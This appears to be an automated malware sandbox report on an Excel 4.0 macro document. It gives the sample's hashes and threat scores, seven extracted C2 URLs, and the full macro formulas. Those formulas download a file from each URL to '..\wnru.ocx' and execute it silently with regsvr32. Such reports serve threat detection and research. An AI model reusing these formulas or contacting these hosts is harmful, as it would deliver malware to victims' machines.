General

  • Target

    74c3a25462cdb0a73985574edeb46714efb6a2ea0e897943af3f569a5d83012e

  • Size

    33KB

  • Sample

    240909-11lzwasfkp

  • MD5

    81a74ab045144960ef595e50577c5410

  • SHA1

    2b7f7976dd39d1c44e7ff14e98f93b353c28fb8b

  • SHA256

    74c3a25462cdb0a73985574edeb46714efb6a2ea0e897943af3f569a5d83012e

  • SHA512

    eca61f565d53249f2adafb84109a776d2bccadefc3430409e2433d19f3bdb35fdfca6243138e882df6ed899761fa928a9327ba0a4c700326b9c823af9068a8fa

  • SSDEEP

    768:cCMa37yGcEXvp96wU1+FCh+JJwthSL8GjutREhqP:J7375T6Z4FLLwtZHEhqP

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/

https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/

https://blog.centerking.top/wp-includes/WEIuPafz0bS/

https://edu-media.cn/wp-admin/TOu/

https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/

https://lydt.cc/wp-includes/jprpcO8U/

https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://blog.centerking.top/wp-includes/WEIuPafz0bS/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://edu-media.cn/wp-admin/TOu/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lydt.cc/wp-includes/jprpcO8U/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()

Targets

    • Target

      74c3a25462cdb0a73985574edeb46714efb6a2ea0e897943af3f569a5d83012e

    • Size

      33KB

    • MD5

      81a74ab045144960ef595e50577c5410

    • SHA1

      2b7f7976dd39d1c44e7ff14e98f93b353c28fb8b

    • SHA256

      74c3a25462cdb0a73985574edeb46714efb6a2ea0e897943af3f569a5d83012e

    • SHA512

      eca61f565d53249f2adafb84109a776d2bccadefc3430409e2433d19f3bdb35fdfca6243138e882df6ed899761fa928a9327ba0a4c700326b9c823af9068a8fa

    • SSDEEP

      768:cCMa37yGcEXvp96wU1+FCh+JJwthSL8GjutREhqP:J7375T6Z4FLLwtZHEhqP

    Score
    3/10

MITRE ATT&CK Enterprise v15

Tasks